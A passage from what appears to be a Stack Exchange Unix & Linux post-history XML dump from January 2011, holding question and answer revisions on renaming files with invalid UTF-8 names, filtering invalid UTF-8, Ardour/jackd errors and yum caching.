of:&#xD;&#xA;&#xD;&#xA;    find . -type f -ls | sed 's/[^a-zA-Z0-9]//g'&#xD;&#xA;&#xD;&#xA;But I can't find a solution that does everything I want:&#xD;&#xA;&#xD;&#xA; 1. Identify all files that have undisplayable characters (the above ignores way too much)&#xD;&#xA; 2. For all those files in a directory tree (recursively), execute mv oldname newname&#xD;&#xA; 3. Optionally, the ability to transliterate special characters such as ä to a (not required, but would be awesome)&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA; 1. Correctly display all these files (and no errors in applications when trying to open them)&#xD;&#xA;&#xD;&#xA;I have bits and pieces, like iterating over all files and moving them is easy, but identifying the files and formatting them correctly for the mv command seems to be the hard part.&#xD;&#xA;&#xD;&#xA;Any extra information as to why they do not display correctly, or how to &quot;guess&quot; the correct encoding are also welcome. (I've tried convmv but it doesn't seem to do exactly what I want: http://j3e.de/linux/convmv/)&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;Tried the following, no luck yet&#xD;&#xA;&#xD;&#xA;    robbie@phil:/usr/share/locales$ sudo ./install-language-pack nl_BE&#xD;&#xA;    Generating locales...&#xD;&#xA;      nl_BE.ISO-8859-1... done&#xD;&#xA;    Generation complete.&#xD;&#xA;     * Reloading GNOME Display Manager configuration...&#xD;&#xA;     * Changes will take effect when all current X sessions have ended.&#xD;&#xA;       ...done.&#xD;&#xA;    robbie@phil:/usr/share/locales$ sudo dpkg-reconfigure locales&#xD;&#xA;    Generating locales...&#xD;&#xA;      en_AU.UTF-8... done&#xD;&#xA;      en_BW.UTF-8... done&#xD;&#xA;      en_CA.UTF-8... done&#xD;&#xA;      en_DK.UTF-8... done&#xD;&#xA;      en_GB.UTF-8... done&#xD;&#xA;      en_HK.UTF-8... done&#xD;&#xA;      en_IE.UTF-8... done&#xD;&#xA;      en_IN.UTF-8... done&#xD;&#xA;      en_NZ.UTF-8... done&#xD;&#xA;      en_PH.UTF-8... done&#xD;&#xA;      en_SG.UTF-8... done&#xD;&#xA;      en_US.UTF-8... done&#xD;&#xA;      en_ZA.UTF-8... done&#xD;&#xA;      en_ZW.UTF-8... done&#xD;&#xA;      nl_BE.ISO-8859-1... up-to-date&#xD;&#xA;    Generation complete.&#xD;&#xA;    robbie@phil:/usr/share/locales$ cd ~/&#xD;&#xA;    robbie@phil:~$ LC_CTYPE=nl_BE.ISO-8859-1 ls&#xD;&#xA;    test?sktest.txt" />
  <row Id="14909" PostHistoryTypeId="5" PostId="6464" RevisionGUID="3f0ab3ac-2886-4d35-9dab-66e2acf3e09c" CreationDate="2011-01-26T22:12:26.540" UserId="885" Comment="fixed command to grep invalid utf8 characters; fixed direction of recode and iconv commands" Text="I guess you see this `�` invalid character because the name contains a byte sequence that isn't valid UTF-8. File names on typical unix filesystems (including yours) are byte strings, and it's up to applications to decide on what encoding to use. Nowadays, there is a trend to use UTF-8, but it's not universal, especially in locales that could never live with plain ASCII and have been using other encodings since before UTF-8 even existed.&#xD;&#xA;&#xD;&#xA;Try `LC_CTYPE=en_US.iso88591 ls` to see if the file name makes sense in ISO-8859-1 (latin-1). If it doesn't, try other locales. Note that only the `LC_CTYPE` locale setting matters here.&#xD;&#xA;&#xD;&#xA;In a UTF-8 locale, the following command will show you all files whose name is not valid UTF-8:&#xD;&#xA;&#xD;&#xA;    grep-invalid-utf8 () {&#xD;&#xA;      perl -l -ne '/^([\000-\177]|[\300-\337][\200-\277]|[\340-\357][\200-\277]{2}|[\360-\367][\200-\277]{3}|[\370-\373][\200-\277]{4}|[\374-\375][\200-\277]{5})*$/ or print'&#xD;&#xA;    }&#xD;&#xA;    find | grep-invalid-utf8&#xD;&#xA;&#xD;&#xA;You can check if they make more sense in another locale with [recode](http://manpages.ubuntu.com/manpages/lucid/man1/recode.1.html) or [iconv](http://manpages.ubuntu.com/manpages/lucid/man1/iconv.1.html):&#xD;&#xA;&#xD;&#xA;    find | grep-invalid-utf8 | recode latin1..utf8&#xD;&#xA;    find | grep-invalid-utf8 | iconv -f latin1 -t utf8&#xD;&#xA;&#xD;&#xA;Once you've determined that a bunch of file names are in a certain encoding (e.g. latin1), one way to rename them is&#xD;&#xA;&#xD;&#xA;    find | grep-invalid-utf8 |&#xD;&#xA;    rename 'BEGIN {binmode STDIN, &quot;:encoding(latin1)&quot;; use Encode;}&#xD;&#xA;            $_=encode(&quot;utf8&quot;, $_)'&#xD;&#xA;&#xD;&#xA;This uses the perl [rename](http://manpages.ubuntu.com/manpages/lucid/man1/iconv.1.html) command available on Debian and Ubuntu. You can pass it `-n` to show what it would be doing without actually renaming the files.&#xD;&#xA;" />
  <row Id="14910" PostHistoryTypeId="2" PostId="6512" RevisionGUID="f1e6abc8-609b-4e56-a2d6-1346f98354d4" CreationDate="2011-01-26T22:12:46.727" UserId="29" Text="In a side conversation [mst](http://www.shadowcat.co.uk/blog/matt-s-trout/) recommended [perlanet](http://search.cpan.org/dist/Perlanet/bin/perlanet) for this purpose. " />
  <row Id="14911" PostHistoryTypeId="2" PostId="6513" RevisionGUID="6a422c88-a288-4b47-84ff-623fab40a470" CreationDate="2011-01-26T22:44:18.013" UserId="3852" Text="http://the.earth.li/pub/subversion/summersoft.fay.ar.us/pub/subversion/latest/ also has the latest RPMs (no rebuilding needed) for CentOS 4 and 5 which is what I've always used. [via][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://subversion.apache.org/packages.html#redhat  " />
  <row Id="14912" PostHistoryTypeId="2" PostId="6514" RevisionGUID="0046b9b4-244f-425a-869c-3f6366224805" CreationDate="2011-01-26T22:44:48.330" UserId="688" Text="I'm trying to play with ardour. When I started it up, it complained that jackd isn't running, so I ran `jackd -d alsa`, which displayed:&#xD;&#xA;&#xD;&#xA;    jackdmp 1.9.6&#xD;&#xA;    Copyright 2001-2005 Paul Davis and others.&#xD;&#xA;    Copyright 2004-2010 Grame.&#xD;&#xA;    jackdmp comes with ABSOLUTELY NO WARRANTY&#xD;&#xA;    This is free software, and you are welcome to redistribute it&#xD;&#xA;    under certain conditions; see the file COPYING for details&#xD;&#xA;    no message buffer overruns&#xD;&#xA;    no message buffer overruns&#xD;&#xA;    JACK server starting in realtime mode with priority 10&#xD;&#xA;    audio_reservation_init&#xD;&#xA;    Acquire audio card Audio0&#xD;&#xA;    creating alsa driver ... hw:0|hw:0|1024|2|48000|0|0|nomon|swmeter|-|32bit&#xD;&#xA;    Using ALSA driver HDA-Intel running on card 0 - HDA Intel at 0xfc320000 irq 44&#xD;&#xA;    configuring for 48000Hz, period = 1024 frames (21.3 ms), buffer = 2 periods&#xD;&#xA;    ALSA: final selected sample format for capture: 32bit integer little-endian&#xD;&#xA;    ALSA: use 2 periods for capture&#xD;&#xA;    ALSA: final selected sample format for playback: 32bit integer little-endian&#xD;&#xA;    ALSA: use 2 periods for playback&#xD;&#xA;&#xD;&#xA;It seems this didn't help much because running `ardour2` displayed the following:&#xD;&#xA;&#xD;&#xA;    WARNING: Your system has a limit for maximum amount of locked memory!&#xD;&#xA;             This might cause Ardour to run out of memory before your system runs&#xD;&#xA;             out of memory. You can view the memory limit with 'ulimit -l', and it&#xD;&#xA;             is normally controlled by /etc/security/limits.conf&#xD;&#xA;&#xD;&#xA;    Ardour 2.8.11&#xD;&#xA;       (built using 7387 and GCC version 4.4.5)&#xD;&#xA;    Copyright (C) 1999-2008 Paul Davis&#xD;&#xA;    Some portions Copyright (C) Steve Harris, Ari Johnson, Brett Viren, Joel Baker&#xD;&#xA;&#xD;&#xA;    Ardour comes with ABSOLUTELY NO WARRANTY&#xD;&#xA;    not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&#xD;&#xA;    This is free software, and you are welcome to redistribute it &#xD;&#xA;    under certain conditions; see the source for copying conditions.&#xD;&#xA;    loading default ui configuration file /etc/ardour2/ardour2_ui_default.conf&#xD;&#xA;    loading user ui configuration file /home/wena/.ardour2/ardour2_ui.conf&#xD;&#xA;    Loading ui configuration file /etc/ardour2/ardour2_ui_dark.rc&#xD;&#xA;    theme_init() called from internal clearlooks engine&#xD;&#xA;    ardour: [INFO]: Ardour will be limited to 1024 open files&#xD;&#xA;    loading system configuration file /etc/ardour2/ardour_system.rc&#xD;&#xA;    ardour: [INFO]: No H/W specific optimizations in use&#xD;&#xA;    librdf warning - Model does not support contexts&#xD;&#xA;    librdf warning - Model does not support contexts&#xD;&#xA;    librdf warning - Model does not support contexts&#xD;&#xA;    ardour: [INFO]: looking for control protocols in /home/wena/.ardour2/surfaces/:/usr/lib/ardour2/surfaces/&#xD;&#xA;    ardour: [INFO]: Control protocol Tranzport not usable&#xD;&#xA;    ardour: [INFO]: Control surface protocol discovered: &quot;Mackie&quot;&#xD;&#xA;    ardour: [INFO]: Control surface protocol discovered: &quot;Generic MIDI&quot;&#xD;&#xA;    powermate: Opening of powermate failed - No such file or directory&#xD;&#xA;    ardour: [INFO]: Control protocol powermate not usable&#xD;&#xA;    Cannot connect to server socket err = Connection refused&#xD;&#xA;    Cannot connect to server socket&#xD;&#xA;    jack server is not running or cannot be started&#xD;&#xA;&#xD;&#xA;[**note**] These are native Debian packages." />
  <row Id="14913" PostHistoryTypeId="1" PostId="6514" RevisionGUID="0046b9b4-244f-425a-869c-3f6366224805" CreationDate="2011-01-26T22:44:48.330" UserId="688" Text="Issues with ardour and jackd" />
  <row Id="14914" PostHistoryTypeId="3" PostId="6514" RevisionGUID="0046b9b4-244f-425a-869c-3f6366224805" CreationDate="2011-01-26T22:44:48.330" UserId="688" Text="édebianàéjackà" />
  <row Id="14915" PostHistoryTypeId="25" PostId="6501" RevisionGUID="bccc3d56-9e27-4d76-9634-222637820e9c" CreationDate="2011-01-26T22:55:53.580" Comment="http://twitter.com/#!/StackUnix/status/30398548839243776" />
  <row Id="14916" PostHistoryTypeId="5" PostId="6460" RevisionGUID="6b256260-6ff7-4382-b950-6c7dc23cf3ec" CreationDate="2011-01-26T22:58:25.140" UserId="4185" Comment="deleted 1003 characters in body" Text="I have a bunch of directories and subdirectories that contain files with special characters, like this file:&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ ls test�sktest.txt &#xD;&#xA;    test?sktest.txt&#xD;&#xA;&#xD;&#xA;Find reveals an escape sequence:&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ find test�sktest.txt -ls &#xD;&#xA;    424512 4000 -rwxr--r-x   1 robbie   robbie    4091743 Jan 26 00:34 test\323sktest.txt&#xD;&#xA;&#xD;&#xA;The only reason I can even type their names on the console is because of tab completion. This also means I can rename them manually (and manually strip the special character).&#xD;&#xA;&#xD;&#xA;I've set LC_ALL to UTF-8, but I still can't display those characters (also not on a new shell):&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ echo $LC_ALL&#xD;&#xA;    en_US.UTF-8&#xD;&#xA;&#xD;&#xA;I'm connecting to the machine using ssh from my mac. It's an Ubuntu install:&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ cat /etc/lsb-release &#xD;&#xA;    DISTRIB_ID=Ubuntu&#xD;&#xA;    DISTRIB_RELEASE=7.10&#xD;&#xA;    DISTRIB_CODENAME=gutsy&#xD;&#xA;    DISTRIB_DESCRIPTION=&quot;Ubuntu 7.10&quot;&#xD;&#xA;&#xD;&#xA;Shell is Bash, TERM is set to xterm-color.&#xD;&#xA;&#xD;&#xA;These files have been there for quite a while, and they have not been created using that install of Ubuntu. So I don't know what the system encoding settings used to be.&#xD;&#xA;&#xD;&#xA;I've tried things along the lines of:&#xD;&#xA;&#xD;&#xA;    find . -type f -ls | sed 's/[^a-zA-Z0-9]//g'&#xD;&#xA;&#xD;&#xA;But I can't find a solution that does everything I want:&#xD;&#xA;&#xD;&#xA; 1. Identify all files that have undisplayable characters (the above ignores way too much)&#xD;&#xA; 2. For all those files in a directory tree (recursively), execute mv oldname newname&#xD;&#xA; 3. Optionally, the ability to transliterate special characters such as ä to a (not required, but would be awesome)&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA; 1. Correctly display all these files (and no errors in applications when trying to open them)&#xD;&#xA;&#xD;&#xA;I have bits and pieces, like iterating over all files and moving them is easy, but identifying the files and formatting them correctly for the mv command seems to be the hard part.&#xD;&#xA;&#xD;&#xA;Any extra information as to why they do not display correctly, or how to &quot;guess&quot; the correct encoding are also welcome. (I've tried convmv but it doesn't seem to do exactly what I want: http://j3e.de/linux/convmv/)" />
  <row Id="14917" PostHistoryTypeId="6" PostId="6514" RevisionGUID="bc2e2ad2-dfa1-4a41-b487-9ed6250fb080" CreationDate="2011-01-26T23:05:36.803" UserId="885" Comment="edited tags" Text="édebianàéaudioàéjackàéardourà" />
  <row Id="14918" PostHistoryTypeId="5" PostId="6460" RevisionGUID="a622bbb8-8ae7-47a6-aa90-c1e6179b8b4f" CreationDate="2011-01-26T23:11:51.957" UserId="4185" Comment="grammar" Text="I have a bunch of directories and subdirectories that contain files with special characters, like this file:&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ ls test�sktest.txt &#xD;&#xA;    test?sktest.txt&#xD;&#xA;&#xD;&#xA;Find reveals an escape sequence:&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ find test�sktest.txt -ls &#xD;&#xA;    424512 4000 -rwxr--r-x   1 robbie   robbie    4091743 Jan 26 00:34 test\323sktest.txt&#xD;&#xA;&#xD;&#xA;The only reason I can even type their names on the console is because of tab completion. This also means I can rename them manually (and strip the special character).&#xD;&#xA;&#xD;&#xA;I've set LC_ALL to UTF-8, which does not seem to help (also not on a new shell):&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ echo $LC_ALL&#xD;&#xA;    en_US.UTF-8&#xD;&#xA;&#xD;&#xA;I'm connecting to the machine using ssh from my mac. It's an Ubuntu install:&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ cat /etc/lsb-release &#xD;&#xA;    DISTRIB_ID=Ubuntu&#xD;&#xA;    DISTRIB_RELEASE=7.10&#xD;&#xA;    DISTRIB_CODENAME=gutsy&#xD;&#xA;    DISTRIB_DESCRIPTION=&quot;Ubuntu 7.10&quot;&#xD;&#xA;&#xD;&#xA;Shell is Bash, TERM is set to xterm-color.&#xD;&#xA;&#xD;&#xA;These files have been there for quite a while, and they have not been created using that install of Ubuntu. So I don't know what the system encoding settings used to be.&#xD;&#xA;&#xD;&#xA;I've tried things along the lines of:&#xD;&#xA;&#xD;&#xA;    find . -type f -ls | sed 's/[^a-zA-Z0-9]//g'&#xD;&#xA;&#xD;&#xA;But I can't find a solution that does everything I want:&#xD;&#xA;&#xD;&#xA; 1. Identify all files that have undisplayable characters (the above ignores way too much)&#xD;&#xA; 2. For all those files in a directory tree (recursively), execute mv oldname newname&#xD;&#xA; 3. Optionally, the ability to transliterate special characters such as ä to a (not required, but would be awesome)&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA; 1. Correctly display all these files (and no errors in applications when trying to open them)&#xD;&#xA;&#xD;&#xA;I have bits and pieces, like iterating over all files and moving them, but identifying the files and formatting them correctly for the mv command seems to be the hard part.&#xD;&#xA;&#xD;&#xA;Any extra information as to why they do not display correctly, or how to &quot;guess&quot; the correct encoding are also welcome. (I've tried convmv but it doesn't seem to do exactly what I want: http://j3e.de/linux/convmv/)" />
  <row Id="14919" PostHistoryTypeId="2" PostId="6515" RevisionGUID="ac30bf18-d04a-4cbc-972c-e5b490fc4300" CreationDate="2011-01-26T23:23:06.050" UserId="250" Text="Separating configuration files is the approach to manage them. By putting configuration lines specific to a module into their own files it become much easier to enable and disable modules. It also helps managing them, because now you only have a small configuration file to edit. (Imagine opening up a 500 line httpd.conf and looking for an incorrect option.)&#xD;&#xA;&#xD;&#xA;Different systems seem to have different ways to separate apache configuration files. For example on my Gentoo there are `modules.d/` and `vhosts.d/`, while on my Ubuntu there are `conf.d/`, `mods-available/`, `mods-enabled/`, `sites-available/` and `sites-enabled/`. You can guess what they do by the name, or look inside httpd.conf for `Include` lines." />
  <row Id="14920" PostHistoryTypeId="2" PostId="6516" RevisionGUID="0a577710-dadb-4cf4-a6fe-25e84d9da6df" CreationDate="2011-01-27T00:13:16.110" UserId="885" Text="I have a text file in an unknown or mixed encoding. I want to see the lines that contain a byte sequence that is not valid UTF-8 (by piping the text file into some program). Equivalently, I want to filter out the lines that are valid UTF-8. In other words, I'm looking for &lt;code&gt;grep [&lt;em&gt;notutf8&lt;/em&gt;]&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;An ideal solution would be portable, short and generalizable to other encodings, but if you feel the best way is to bake in the [definition of UTF-8](http://en.wikipedia.org/wiki/UTF-8#Design), go ahead.&#xD;&#xA;" />
  <row Id="14921" PostHistoryTypeId="1" PostId="6516" RevisionGUID="0a577710-dadb-4cf4-a6fe-25e84d9da6df" CreationDate="2011-01-27T00:13:16.110" UserId="885" Text="Filtering invalid utf8" />
  <row Id="14922" PostHistoryTypeId="3" PostId="6516" RevisionGUID="0a577710-dadb-4cf4-a6fe-25e84d9da6df" CreationDate="2011-01-27T00:13:16.110" UserId="885" Text="écommandölineàétextöprocessingàécharacteröencodingàéunicodeà" />
  <row Id="14923" PostHistoryTypeId="25" PostId="6516" RevisionGUID="c998c548-7c56-4cf2-aa71-2c89e433c4c5" CreationDate="2011-01-27T02:15:55.230" Comment="http://twitter.com/#!/StackUnix/status/30448887168765952" />
  <row Id="14925" PostHistoryTypeId="2" PostId="6517" RevisionGUID="19caa653-2099-41a6-adf4-003a5a556ebe" CreationDate="2011-01-27T03:43:10.540" UserId="1071" Text="I think you probably want &lt;a href=&quot;http://en.wikipedia.org/wiki/Iconv&quot;&gt;iconv&lt;/a&gt;. It's for converting between codesets and supports an absurd number of formats. For example, to strip anything not valid in UTF-8 you could use:&#xD;&#xA;&#xD;&#xA;`iconv -c -t UTF-8 &lt; input.txt &gt; output.txt`&#xD;&#xA;&#xD;&#xA;Without the -c option it'll report problems in converting to stderr, so with process direction could you save a list of these. Another way would be to strip the non-UTF8 stuff and then &#xD;&#xA;&#xD;&#xA;`diff input.txt output.txt` &#xD;&#xA;&#xD;&#xA;for a list of where changes were made." />
  <row Id="14926" PostHistoryTypeId="2" PostId="6518" RevisionGUID="edb34496-2147-472d-baf2-41662990fdd0" CreationDate="2011-01-27T04:28:06.377" UserId="1919" Text="There's a utility called unison:&#xD;&#xA;&#xD;&#xA;http://www.cis.upenn.edu/~bcpierce/unison/&#xD;&#xA;&#xD;&#xA;Description from site:&#xD;&#xA;&#xD;&#xA;&gt; Unison is a file-synchronization tool for Unix and Windows. It allows two replicas of a collection of files and directories to be stored on different hosts (or different disks on the same host), modified separately, and then brought up to date by propagating the changes in each replica to the other." />
  <row Id="14928" PostHistoryTypeId="25" PostId="6493" RevisionGUID="ac46b1b3-81fb-41ad-b4bb-2fe34c1b636c" CreationDate="2011-01-27T05:15:55.293" Comment="http://twitter.com/#!/StackUnix/status/30494186214006784" />
  <row Id="14929" PostHistoryTypeId="5" PostId="6411" RevisionGUID="fdd92632-cdb6-4c15-9c64-966a1cde53bb" CreationDate="2011-01-27T07:02:05.597" UserId="4153" Comment="added 175 characters in body" Text="I have two drives with the same files, but the directory structure is totally different.&#xD;&#xA;&#xD;&#xA;Is there any way to 'move' all the files on the destination side so that they match the structure of the source side? With a script perhaps?  &#xD;&#xA;&#xD;&#xA;For example, drive A has:  &#xD;&#xA;&#xD;&#xA;    /foo/bar/123.txt&#xD;&#xA;    /foo/bar/234.txt&#xD;&#xA;    /foo/bar/dir/567.txt&#xD;&#xA;&#xD;&#xA;Whereas drive B has:&#xD;&#xA;&#xD;&#xA;    /some/other/path/123.txt&#xD;&#xA;    /bar/doo2/wow/234.txt&#xD;&#xA;    /bar/doo/567.txt&#xD;&#xA;&#xD;&#xA;The files in question are huge (800GB), so I don't want to re-copy them; I just want to sync the structure by creating the necessary directories and moving the files.&#xD;&#xA;&#xD;&#xA;I was thinking of a recursive script that would find each source file on the destination, then move it to a matching directory, creating it if necessary. But that's beyond my abilities ...&#xD;&#xA;&#xD;&#xA;Any help greatly appreciated!&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;UPDATE: Another elegant solution was given here:&#xD;&#xA;&lt;http://superuser.com/questions/237387/any-way-to-sync-directory-structure-when-the-files-are-already-on-both-sides/238086&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14930" PostHistoryTypeId="2" PostId="6520" RevisionGUID="2900e160-76e9-48d7-839b-f6856a2e24a8" CreationDate="2011-01-27T07:17:43.863" UserId="3913" Text="Hi syn4k,&#xD;&#xA;&#xD;&#xA;Try to search in http://rpm.pbone.net for &quot;subversion-1.5&quot; if that's what you need or just change it to &quot;subversion-1.6&quot; if in case you need that version limiting your search to &quot;Centos 5&quot; or &quot;RHEL 5&quot; and download the rpm that corresponds to your machine.&#xD;&#xA;&#xD;&#xA;Install it via rpm as follows:&#xD;&#xA;&#xD;&#xA;&gt; rpm -i subversion-package-name-here.rpm&#xD;&#xA;&#xD;&#xA;If it says it conflicts with your existing subversion, check for the name of your existing subversion:&#xD;&#xA;&#xD;&#xA;&gt; rpm -qa| grep subversion&#xD;&#xA;&#xD;&#xA;and use the result for uninstalling the old package:&#xD;&#xA;&#xD;&#xA;&gt; rpm -e subversion-old-package.bhabha&#xD;&#xA;&#xD;&#xA;Then go back to installing the rpm as I detailed above.&#xD;&#xA;&#xD;&#xA;Hope this helps,&#xD;&#xA;&#xD;&#xA;Ismael Casimpan :)&#xD;&#xA; " />
  <row Id="14931" PostHistoryTypeId="2" PostId="6521" RevisionGUID="66bf9b2c-2fb6-4a6d-b9b8-9af573500120" CreationDate="2011-01-27T07:40:59.870" UserId="688" Text="A lot of times when I run `yum search`, it tends first to download the metadata from a repository. How do I force it to only search the local cache? I prefer quick results to inaccurate data in this case, and am on a slow line." />
  <row Id="14932" PostHistoryTypeId="1" PostId="6521" RevisionGUID="66bf9b2c-2fb6-4a6d-b9b8-9af573500120" CreationDate="2011-01-27T07:40:59.870" UserId="688" Text="How to force 'yum search' not to use local metadata/cache?" />
  <row Id="14933" PostHistoryTypeId="3" PostId="6521" RevisionGUID="66bf9b2c-2fb6-4a6d-b9b8-9af573500120" CreationDate="2011-01-27T07:40:59.870" UserId="688" Text="éfedoraàépackageömanagementàéyumà" />
  <row Id="14934" PostHistoryTypeId="2" PostId="6522" RevisionGUID="2956c9f3-dc30-4e7b-8c84-5db315c8bc05" CreationDate="2011-01-27T07:56:14.680" UserId="688" Text="There currently are two streams of Tracker, stable (0.8) and unstable (0.9). Your OS likely has the 0.8 version, so if you can afford it (it has some [bleeding edge][1] software dependencies), go grab the latest tarfile (0.9.x). It has [lots of improvements][2] over 0.8, and is currently [being stabilized][3] further in order to be 0.10 (even numbers represent stability). If you choose to go this route, use this command to configure:&#xD;&#xA;&#xD;&#xA;    ./configure --disable-tracker-needle --disable-tracker-preferences --disable-tracker-explorer --disable-tracker-status-icon&#xD;&#xA;&#xD;&#xA;You are likely not going to have the dependencies installed, so it should be esier to simply install 0.8 from your distro, and just avoid the GUI bits. On Debian Squeeze, Ubuntu 10.10, and Ubuntu 11.04, these are nicely split. So ([as root][4]) run:&#xD;&#xA;&#xD;&#xA;    apt-get install --no-install-recommends tracker-utils tracker-miner-fs&#xD;&#xA;&#xD;&#xA;The CLI tool for this is `tracker-search`, so run it with the `--help` option to see how to take advantage of it :-)&#xD;&#xA;&#xD;&#xA;[**note**] On Fedora 14, the Tracker package has dependencies on GTK+. I guess it's because it includes things like `tracker-applet` and `tracker-preferences`. They do however have a separate package for `tracker-search-tool`, the GUI search interface.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://git.gnome.org/browse/tracker/tree/configure.ac&#xD;&#xA;  [2]: http://live.gnome.org/Tracker/Roadmap&#xD;&#xA;  [3]: http://pvanhoof.be/blog/index.php/2011/01/26/all-quiet-on-the-tracker-front&#xD;&#xA;  [4]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root" />
  <row Id="14935" PostHistoryTypeId="2" PostId="6523" RevisionGUID="c5c5fc82-dd66-425b-9fbe-dc89d054f022" CreationDate="2011-01-27T08:02:51.940" UserId="3372" Text="It's not possible, but&#xD;&#xA;&#xD;&#xA;    yum -C search mysearch&#xD;&#xA;&#xD;&#xA;Will not update the local cache, therefore your search will be a little bit faster.&#xD;&#xA;&#xD;&#xA;I prefer to create a local file with all the packages doing this way:&#xD;&#xA;&#xD;&#xA;    yum list all &gt; yum-package-list.log&#xD;&#xA;&#xD;&#xA;Then I can grep what I'm searching:&#xD;&#xA;&#xD;&#xA;    grep -i mysearch yum-package-list.log&#xD;&#xA;&#xD;&#xA;That's all...&#xD;&#xA;&#xD;&#xA;From time to time I'll execute again the *yum list all*, to update the list." />
  <row Id="14936" PostHistoryTypeId="5" PostId="6522" RevisionGUID="c3e7033f-6b24-4624-ad87-27b988132a76" CreationDate="2011-01-27T08:11:12.037" UserId="688" Comment="added 124 characters in body; edited body; added 20 characters in body" Text="There currently are two streams of Tracker, stable (0.8) and unstable (0.9). Your OS likely has the 0.8 version, so if you can afford it (it has some [bleeding edge][1] software dependencies), go grab the latest tarfile (0.9.x). It has [lots of improvements][2] over 0.8, and is currently [being stabilized][3] further in order to be 0.10 (even numbers represent stability). If you choose to go this route, use this command to configure:&#xD;&#xA;&#xD;&#xA;    ./configure --disable-tracker-needle --disable-tracker-preferences --disable-tracker-explorer --disable-tracker-status-icon&#xD;&#xA;&#xD;&#xA;You are likely not going to have the dependencies installed, so it should be esier to simply install 0.8 from your distro, and just avoid the GUI bits. On Debian Squeeze, Ubuntu 10.10, and Ubuntu 11.04, these are nicely split. So ([as root][4]) run:&#xD;&#xA;&#xD;&#xA;    apt-get install --no-install-recommends tracker-utils tracker-miner-fs&#xD;&#xA;&#xD;&#xA;The CLI tool for this is `tracker-search`, so run it with the `--help` option to see how to take advantage of it :-)&#xD;&#xA;&#xD;&#xA;**notes**:&#xD;&#xA;&#xD;&#xA;* On Fedora 14, the Tracker package has dependencies on GTK+. I guess it's because it includes things like `tracker-applet` and `tracker-preferences`. They do however have a separate package for `tracker-search-tool`, the GUI search interface.&#xD;&#xA;* DjVu and ePUB aren't (yet) supported. Here's [a list of of what is][5] formats).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://git.gnome.org/browse/tracker/tree/configure.ac&#xD;&#xA;  [2]: http://live.gnome.org/Tracker/Roadmap&#xD;&#xA;  [3]: http://pvanhoof.be/blog/index.php/2011/01/26/all-quiet-on-the-tracker-front&#xD;&#xA;  [4]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root&#xD;&#xA;  [5]: http://live.gnome.org/Tracker/SupportedFormats" />
  <row Id="14937" PostHistoryTypeId="5" PostId="6523" RevisionGUID="9775e8de-b4de-414d-9934-bc6e1219ffbc" CreationDate="2011-01-27T08:11:16.533" UserId="3372" Comment="added 1862 characters in body" Text="Well, by default the yum cache is disabled, read down for more details, a trick to improve the speed is the following.&#xD;&#xA;&#xD;&#xA;    yum -C search mysearch&#xD;&#xA;&#xD;&#xA;Will not update the local cache, therefore your search will be a little bit faster.&#xD;&#xA;&#xD;&#xA;I prefer to create a local file with all the packages doing this way:&#xD;&#xA;&#xD;&#xA;    yum list all &gt; yum-package-list.log&#xD;&#xA;&#xD;&#xA;Then I can grep what I'm searching:&#xD;&#xA;&#xD;&#xA;    grep -i mysearch yum-package-list.log&#xD;&#xA;&#xD;&#xA;That's all...&#xD;&#xA;&#xD;&#xA;From time to time I'll execute again the *yum list all*, to update the list.&#xD;&#xA;&#xD;&#xA;**Important note**&#xD;&#xA;&#xD;&#xA;From the [Fedora manual][1]&#xD;&#xA;&#xD;&#xA; 10. List item&#xD;&#xA;&#xD;&#xA;By default, current versions of yum delete the data files and packages that they download, after these have been successfully used for an operation. This minimizes the amount of storage space that yum uses. You may enable caching, so that yum retains the files that it downloads in cache directories.&#xD;&#xA;Caches provide three advantages:&#xD;&#xA;&#xD;&#xA;    * The performance of yum increases&#xD;&#xA;    * You may carry out yum operations without a network connection, by using only the caches&#xD;&#xA;    * You may copy packages from the caches and reuse them elsewhere &#xD;&#xA;&#xD;&#xA;By default, yum stores temporary files under the directory /var/cache/yum/, with one subdirectory for each configured repository. The packages/ directory within each repository directory holds the cached packages. For example, the directory /var/cache/yum/development/packages/ holds packages downloaded from the development repository. &#xD;&#xA;&#xD;&#xA;If you remove a package from the cache, you do not affect the copy of the software installed on your system.&#xD;&#xA;&#xD;&#xA;  1.1. Enabling the Caches&#xD;&#xA;&#xD;&#xA;To configure yum to retain downloaded files rather than discarding them, set the keepcache option in /etc/yum.conf to 1:&#xD;&#xA;&#xD;&#xA;     keepcache=1 &#xD;&#xA;&#xD;&#xA;Refer to Section 9.1, “Editing the yum Configuration” for more information on editing the yum configuration file.&#xD;&#xA;Once you enable caching, every yum operation may download package data from the configured repositories. To ensure that the caches have a set of package data, carry out an operation after you enable caching. Use a list or search query to download package data without modifying your system. &#xD;&#xA;&#xD;&#xA;  [1]: http://docs.fedoraproject.org/en-US/Fedora_Core/5/html/Software_Management_Guide/sn-yum-caching.html" />
  <row Id="14938" PostHistoryTypeId="4" PostId="6521" RevisionGUID="52b25000-8077-486b-b327-287323ce8bc7" CreationDate="2011-01-27T08:11:53.080" UserId="688" Comment="edited title" Text="How to force 'yum search' to use local metadata/cache?" />
  <row Id="14939" PostHistoryTypeId="25" PostId="6521" RevisionGUID="747c2c2b-c0e6-4ea8-b0d3-a51bc479fa2d" CreationDate="2011-01-27T08:15:54.890" Comment="http://twitter.com/#!/StackUnix/status/30539483245969408" />
